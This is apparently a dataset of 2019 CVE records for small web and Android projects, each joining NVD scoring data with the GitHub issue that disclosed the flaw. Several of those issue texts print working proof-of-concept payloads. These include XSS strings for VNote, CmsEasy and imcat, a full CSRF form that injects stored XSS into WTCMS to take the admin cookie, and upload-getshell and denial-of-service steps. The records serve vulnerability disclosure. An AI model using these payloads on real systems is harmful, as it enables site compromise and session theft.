global.encryptPassword in bootstrap/global.js in CMSWing 1.3.7 relies on multiple MD5 operations for password hashing.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 5, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:N/C:P/I:N/A:N", "version": "2.0" }, "exploitabilityScore": 10, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 7.5, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "NONE", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "version": "3.0" }, "exploitabilityScore": 3.9, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/arterli/CmsWing/issues/41" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/arterli/CmsWing/issues/41" } ]

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[ "916" ]

916

https://github.com/arterli/CmsWing/issues/41

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "arterli", "CmsWing" ]

global.encryptPassword = function(password, md5encoded) { md5encoded = md5encoded || false; password = md5encoded ? password : think.md5(password); return think.md5(think.md5('www.cmswing.com') + password + think.md5('Arterli')); }; https://github.com/arterli/CmsWing/blob/ba8dbac6bd42ca844b6903151eaf029906681de0/src/bootstrap/global.js

Encryption of password using MD5 and fixed salt

https://api.github.com/repos/arterli/CmsWing/issues/41/comments

1

2019-02-17T18:32:15Z

2019-12-26T14:53:50Z

https://github.com/arterli/CmsWing/issues/41

411,218,822

41

194

CVE-2019-8419

2019-02-17T22:29:00.270

VNote 2.2 has XSS via a new text note.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/tamlok/vnote/issues/564" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Third Party Advisory" ], "url": "https://github.com/tamlok/vnote/issues/564" } ]

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[ "79" ]

79

https://github.com/tamlok/vnote/issues/564

[ "Exploit", "Issue Tracking", "Third Party Advisory" ]

github.com

[ "tamlok", "vnote" ]

Hello friend，we are farmsec security team，we found a stored xss vulnerability in vnote： OS Version : Linux VNote Version :VNote-2.2 Symptoms : 1.The app does not filter specific html tags，as： `<img>` `<iframe>` `<video>` 2.An attacker can execute a javascript script by using a malicious html tag. ![1](https://user-images.githubusercontent.com/25338295/50722138-4ca68180-1105-11e9-8d8f-b38d4dcc4d8a.png) How to Repro : 1.Install vnote for linux https://github.com/tamlok/vnote ![3](https://user-images.githubusercontent.com/25338295/50722217-b5422e00-1106-11e9-80cf-d4d1bee70490.png) 2.Click New Note Fill in the notebook name ![2](https://user-images.githubusercontent.com/25338295/50722232-e91d5380-1106-11e9-97cf-847532f0f7e1.png) Click OK. 3.New folder ![4](https://user-images.githubusercontent.com/25338295/50722262-5f21ba80-1107-11e9-852d-e8676803b71a.png) Click OK. 4.New text note ![5](https://user-images.githubusercontent.com/25338295/50722281-a314bf80-1107-11e9-90cb-1e5762be9ef0.png) 5.Fill in the xss vulnerability test payload payload:`<iframe src="javascript:alert('xss')">` 6.Access note Enter Ctrl+T ![7](https://user-images.githubusercontent.com/25338295/50722312-04d52980-1108-11e9-8681-8ad24a9ea5f2.png) The code is executed in the browser

We found a stored xss vulnerability in vnote

https://api.github.com/repos/vnotex/vnote/issues/564/comments

4

2019-01-05T08:37:36Z

2020-11-30T04:39:06Z

https://github.com/vnotex/vnote/issues/564

396,146,370

564

195

CVE-2019-8432

2019-02-18T00:29:00.650

In CmsEasy 7.0, there is XSS via the ckplayer.php url parameter.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/fakerrr/CmsEasy_7.0/issues/1" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/fakerrr/CmsEasy_7.0/issues/1" } ]

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[ "79" ]

79

https://github.com/fakerrr/CmsEasy_7.0/issues/1

[ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ]

github.com

[ "fakerrr", "CmsEasy_7.0" ]

There is an xss vulnerability in your latest version of the CmsEasy_7.0 In the CmsEasy_7.0/ckplayer.php： Get url here ![image](https://user-images.githubusercontent.com/17960284/50808003-8e1e7300-1337-11e9-9970-5077aeab6be3.png) Unfiltered direct output ![image](https://user-images.githubusercontent.com/17960284/50808028-b312e600-1337-11e9-9080-bbef1d974238.png) 2.Steps To Reproduce: open“http://127.0.0.1/ckplayer.php?url=http%3A//img.ksbbs.com/asset/Mon_1703/05cacb4e02f9d9e.mp4%3C/sCripT%3E%3CsCripT%3Ealert(1)%3C/sCripT%3E%3CsCripT%3E&autoplay=false” ![image](https://user-images.githubusercontent.com/17960284/50808080-e81f3880-1337-11e9-83e8-87477f1f0ef0.png) ![image](https://user-images.githubusercontent.com/17960284/50808103-038a4380-1338-11e9-8f62-36364f4f857b.png) Fix: 1. Strictly verify user input, you must perform strict checks and html escape escaping on all input scripts, iframes, etc. The input here is not only the input interface that the user can directly interact with, but also the variables in the HTTP request in the HTTP request, the variables in the HTTP request header, and so on. 2. Verify the data type and verify its format, length, scope, and content. 3. Not only need to be verified on the client side but also on the server side. 4. The output data should also be checked. The values in the database may be output in multiple places on a large website. Even if the input is coded, the security check should be performed at the output points.

Bug: V7.0 Cross Site Scripting Vulnerability

https://api.github.com/repos/fakerrr/CmsEasy_7.0/issues/1/comments

0

2019-01-08T03:25:45Z

2019-01-08T06:29:44Z

https://github.com/fakerrr/CmsEasy_7.0/issues/1

396,736,032

1

196

CVE-2019-8434

2019-02-18T00:29:00.743

In CmsEasy 7.0, there is XSS via the ckplayer.php autoplay parameter.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "NONE", "availabilityImpact": "NONE", "baseScore": 4.3, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:N/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 8.6, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.1, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "NONE", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.8, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/fakerrr/CmsEasy_7.0/issues/2" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/fakerrr/CmsEasy_7.0/issues/2" } ]

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[ "79" ]

79

https://github.com/fakerrr/CmsEasy_7.0/issues/2

[ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ]

github.com

[ "fakerrr", "CmsEasy_7.0" ]

There is an xss vulnerability in your latest version of the CmsEasy_7.0 In the CmsEasy_7.0/ckplayer.php： Get $autoplay here and Unfiltered direct output ![image](https://user-images.githubusercontent.com/17960284/50813506-908dc680-1351-11e9-8c69-01a730492dc7.png) 2.Steps To Reproduce: open "http://127.0.0.1/ckplayer.php?autoplay=%22%3C/script%3E/%3E%3Cscript%3Ealert(1)%3C/script%3E" ![image](https://user-images.githubusercontent.com/17960284/50813553-bc10b100-1351-11e9-9f02-becef5c08f54.png) ![image](https://user-images.githubusercontent.com/17960284/50813566-c9c63680-1351-11e9-9500-1e851af81811.png) Fix: 1. Strictly verify user input, you must perform strict checks and html escape escaping on all input scripts, iframes, etc. The input here is not only the input interface that the user can directly interact with, but also the variables in the HTTP request in the HTTP request, the variables in the HTTP request header, and so on. 2. Verify the data type and verify its format, length, scope, and content. 3. Not only need to be verified on the client side but also on the server side. 4. The output data should also be checked. The values in the database may be output in multiple places on a large website. Even if the input is coded, the security check should be performed at the output points.

Bug: V7.0 Cross Site Scripting Vulnerability #2

https://api.github.com/repos/fakerrr/CmsEasy_7.0/issues/2/comments

0

2019-01-08T06:30:07Z

https://github.com/fakerrr/CmsEasy_7.0/issues/2

396,767,772

2

197

CVE-2019-8435

2019-02-18T00:29:00.790

admin/default.php in PHPMyWind v5.5 has XSS via an HTTP Host header.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 4.8, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "HIGH", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 1.7, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/gaozhifeng/PHPMyWind/issues/3" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/gaozhifeng/PHPMyWind/issues/3" } ]

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[ "79" ]

79

https://github.com/gaozhifeng/PHPMyWind/issues/3

[ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ]

github.com

[ "gaozhifeng", "PHPMyWind" ]

There is an xss vulnerability in your latest version of the v5.5 In the PHPMyWind_5.5/admin/templates/html/default.html： ![image](https://user-images.githubusercontent.com/17960284/50879258-4706af80-1415-11e9-9bfd-2ba44b4357db.png) 2.Steps To Reproduce: ![image](https://user-images.githubusercontent.com/17960284/50879269-52f27180-1415-11e9-805e-cc02d97bcaf4.png) ![image](https://user-images.githubusercontent.com/17960284/50879275-55ed6200-1415-11e9-8566-7d671998c138.png) Fix: 1. Strictly verify user input, you must perform strict checks and html escape escaping on all input scripts, iframes, etc. The input here is not only the input interface that the user can directly interact with, but also the variables in the HTTP request in the HTTP request, the variables in the HTTP request header, and so on. 2. Verify the data type and verify its format, length, scope, and content. 3. Not only need to be verified on the client side but also on the server side. 4. The output data should also be checked. The values in the database may be output in multiple places on a large website. Even if the input is coded, the security check should be performed at the output points.

Bug: V5.5 Cross Site Scripting Vulnerability

https://api.github.com/repos/gaozhifeng/PHPMyWind/issues/3/comments

1

2019-01-09T05:50:37Z

2019-01-10T02:20:59Z

https://github.com/gaozhifeng/PHPMyWind/issues/3

397,221,469

3

198

CVE-2019-8436

2019-02-18T00:29:00.837

imcat 4.5 has Stored XSS via the root/run/adm.php fm[instop][note] parameter.

{ "cvssMetricV2": [ { "acInsufInfo": false, "baseSeverity": "LOW", "cvssData": { "accessComplexity": "MEDIUM", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 3.5, "confidentialityImpact": "NONE", "integrityImpact": "PARTIAL", "vectorString": "AV:N/AC:M/Au:S/C:N/I:P/A:N", "version": "2.0" }, "exploitabilityScore": 6.8, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": true } ], "cvssMetricV30": [ { "cvssData": { "attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 5.4, "baseSeverity": "MEDIUM", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "privilegesRequired": "LOW", "scope": "CHANGED", "userInteraction": "REQUIRED", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "version": "3.0" }, "exploitabilityScore": 2.3, "impactScore": 2.7, "source": "nvd@nist.gov", "type": "Primary" } ], "cvssMetricV31": null, "cvssMetricV40": null }

[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/peacexie/imcat/issues/1" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ], "url": "https://github.com/peacexie/imcat/issues/1" } ]

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[ "79" ]

79

https://github.com/peacexie/imcat/issues/1

[ "Exploit", "Issue Tracking", "Mitigation", "Third Party Advisory" ]

github.com

[ "peacexie", "imcat" ]

1、Login the backstage http://127.0.0.1/root/run/adm.php ![default](https://user-images.githubusercontent.com/17960284/50955438-1a759500-14f4-11e9-9504-6d99e811e724.png) payload：fm[instop][note]='"/></script><script>alert(1)</script> fix： 1. Strictly verify user input, you must perform strict checks and html escape escaping on all input scripts, iframes, etc. The input here is not only the input interface that the user can directly interact with, but also the variables in the HTTP request in the HTTP request, the variables in the HTTP request header, and so on. 2. Verify the data type and verify its format, length, scope, and content. 3. Not only need to be verified on the client side but also on the server side. 4. The output data should also be checked. The values in the database may be output in multiple places on a large website. Even if the input is coded, the security check should be performed at the output points.

You code has a Stored-XSS Vulnerability in the backstage

https://api.github.com/repos/peacexie/imcat/issues/1/comments

2

2019-01-10T08:25:10Z

2019-01-11T02:59:37Z

https://github.com/peacexie/imcat/issues/1

397,719,343

1

199

CVE-2019-8908

2019-02-18T18:29:00.237

An issue was discovered in WTCMS 1.0. It allows remote attackers to execute arbitrary PHP code by going to the "Setting -> Mailbox configuration -> Registration email template" screen, and uploading an image file, as demonstrated by a .php filename and the "Content-Type: image/gif" header.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/taosir/wtcms/issues/3" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/taosir/wtcms/issues/3" } ]

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[ "706" ]

706

https://github.com/taosir/wtcms/issues/3

[ "Exploit", "Third Party Advisory" ]

github.com

[ "taosir", "wtcms" ]

The attacker opens Setting - Mailbox configuration - Registration email template,upload the image through the editor, burbsuite capture the package and change the Suffix, you can upload any file. ![1](https://user-images.githubusercontent.com/39295496/52933256-b618e180-338d-11e9-9807-1f19807a141d.png) ![2](https://user-images.githubusercontent.com/39295496/52933261-bdd88600-338d-11e9-805c-ec84d700bd0c.jpg) ![3](https://user-images.githubusercontent.com/39295496/52937292-b6b77500-3399-11e9-8da2-5ab1526b3b6f.png) ![4](https://user-images.githubusercontent.com/39295496/52934240-c5e5f500-3390-11e9-89ee-088792b652f8.png)

An issue was discovered in WTcms. there is an Backstage editor getshell Vulnerability

https://api.github.com/repos/taosir/wtcms/issues/3/comments

0

2019-02-18T07:33:00Z

2019-02-18T08:24:59Z

https://github.com/taosir/wtcms/issues/3

411,337,400

3

200

CVE-2019-8909

2019-02-18T18:29:00.287

An issue was discovered in WTCMS 1.0. It allows remote attackers to cause a denial of service (resource consumption) via crafted dimensions for the verification code image.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/taosir/wtcms/issues/6" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/taosir/wtcms/issues/6" } ]

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[ "400" ]

400

https://github.com/taosir/wtcms/issues/6

[ "Exploit", "Third Party Advisory" ]

github.com

[ "taosir", "wtcms" ]

1.Right click to view the verification code image address 2.Found width and height in the url 3.Use burpsuite to fetch data and see the size of the returned package 4.Try modifying the length and width values and seeing the size of the returned package 5.Through the above test, we know that the vulnerability exists. If we send a 10000 packet to the server and the server takes 10s to process, then if we send 10 10000 packets? 10x10 = 100s That is, the server takes 100s to process. When we send 100 such packets (of course, you should never throw them with 100 packets. Generally speaking, 20-50 test results can lead to website crashes.) ![image](https://user-images.githubusercontent.com/39295496/52945687-4b779e00-33ad-11e9-837d-ed96eed2c766.png) ![image](https://user-images.githubusercontent.com/39295496/52945828-9abdce80-33ad-11e9-9355-d86295dfabe9.png) ![image](https://user-images.githubusercontent.com/39295496/52945947-dd7fa680-33ad-11e9-841c-033e28172284.png) ![image](https://user-images.githubusercontent.com/39295496/52946550-3a2f9100-33af-11e9-99dd-86e77b95405c.png)

The background verification code size can be controlled to cause a denial of service attack.

https://api.github.com/repos/taosir/wtcms/issues/6/comments

0

2019-02-18T11:01:34Z

https://github.com/taosir/wtcms/issues/6

411,419,908

6

201

CVE-2019-8910

2019-02-18T18:29:00.317

An issue was discovered in WTCMS 1.0. It allows index.php?g=admin&m=setting&a=site_post CSRF.

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[ { "source": "cve@mitre.org", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/taosir/wtcms/issues/5" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Exploit", "Third Party Advisory" ], "url": "https://github.com/taosir/wtcms/issues/5" } ]

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[ "352" ]

352

https://github.com/taosir/wtcms/issues/5

[ "Exploit", "Third Party Advisory" ]

github.com

[ "taosir", "wtcms" ]

Place of backstage set up website information exists Csrf Vulnerability,attacker Structure a csrf payload,Once the administrator clicks on the malicious link, the site information is automatically changed. There is still an xss in the place of the website statistics code. ![image](https://user-images.githubusercontent.com/39295496/52943571-685da280-33a8-11e9-9534-579c6d2b61c3.png) We can write an xss first, and then construct the csrf code, so that after the webmaster clicks on the malicious link of the attacker, it will execute csrf, and the website will have an xss. As long as the administrator visits the homepage of the website, he can get him Cookie CSRF Exp: ``` <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/wtcms/index.php?g=admin&m=setting&a=site_post" method="POST"> <input type="hidden" name="options[site_name]" value="test" /> <input type="hidden" name="option_id" value="10" /> <input type="hidden" name="options[site_admin_url_password]" value="" /> <input type="hidden" name="options[site_tpl]" value="default" /> <input type="hidden" name="options[site_adminstyle]" value="flat" /> <input type="hidden" name="options[site_icp]" value="" /> <input type="hidden" name="options[site_admin_email]" value="" /> <input type="hidden" name="options[site_tongji]" value="<script>alert("test")</script>" /> <input type="hidden" name="options[site_copyright]" value="" /> <input type="hidden" name="options[site_seo_title]" value="�¿½�¸�»�¿½�¡�¿½" /> <input type="hidden" name="options[site_seo_keywords]" value="" /> <input type="hidden" name="options[site_seo_description]" value="" /> <input type="hidden" name="options[urlmode]" value="0" /> <input type="hidden" name="options[html_suffix]" value="" /> <input type="hidden" name="options[comment_time_interval]" value="60" /> <input type="hidden" name="cmf_settings[banned_usernames]" value="" /> <input type="hidden" name="cdn_settings[cdn_static_root]" value="" /> <input type="submit" value="Submit request" /> </form> </body> </html> ``` ![image](https://user-images.githubusercontent.com/39295496/52944681-f89ce700-33aa-11e9-9444-64a86c3fabf7.png)

Csrf + Xss combination Can be obtained administrator cookie

https://api.github.com/repos/taosir/wtcms/issues/5/comments

0

2019-02-18T10:29:15Z

2019-02-18T10:30:06Z

https://github.com/taosir/wtcms/issues/5

411,405,541

5

202

CVE-2019-8919

2019-02-18T20:29:00.327

The seadroid (aka Seafile Android Client) application through 2.2.13 for Android always uses the same Initialization Vector (IV) with Cipher Block Chaining (CBC) Mode to encrypt private data, making it easier to conduct chosen-plaintext attacks or dictionary attacks.

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[ { "source": "cve@mitre.org", "tags": [ "Third Party Advisory" ], "url": "https://github.com/haiwen/seadroid/issues/789" }, { "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": [ "Third Party Advisory" ], "url": "https://github.com/haiwen/seadroid/issues/789" } ]

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[ "330" ]

330

https://github.com/haiwen/seadroid/issues/789

[ "Third Party Advisory" ]

github.com

[ "haiwen", "seadroid" ]

When using client-side encryption, for one encrypted library, the IV is stored and the client program always uses this one IV to encrypt and decrypt different files. IV reused is unsafe and should not be used, the IV should be randomness and unpredictable. (CWE-329: https://cwe.mitre.org/data/definitions/329.html) These are Debug details for three different files when decrypting them in the client (Android) side: File1: Cipher@7029 <img width="1438" alt="2019-02-18 12 45 04" src="https://user-images.githubusercontent.com/45511549/52952925-f8d2bd80-337d-11e9-8fce-aa4881b1e5f3.png"> File2: Cipher@7074 <img width="1438" alt="2019-02-18 12 46 06" src="https://user-images.githubusercontent.com/45511549/52952944-0425e900-337e-11e9-9789-d5867ec82fd2.png"> File3: Cipher@7097 <img width="1438" alt="2019-02-18 12 47 07" src="https://user-images.githubusercontent.com/45511549/52952950-07b97000-337e-11e9-9325-938626424981.png">

IV should be randomness and unpredictable

https://api.github.com/repos/haiwen/seadroid/issues/789/comments

1

2019-02-18T13:09:10Z

2024-05-30T08:09:31Z

https://github.com/haiwen/seadroid/issues/789

411,468,001

789

203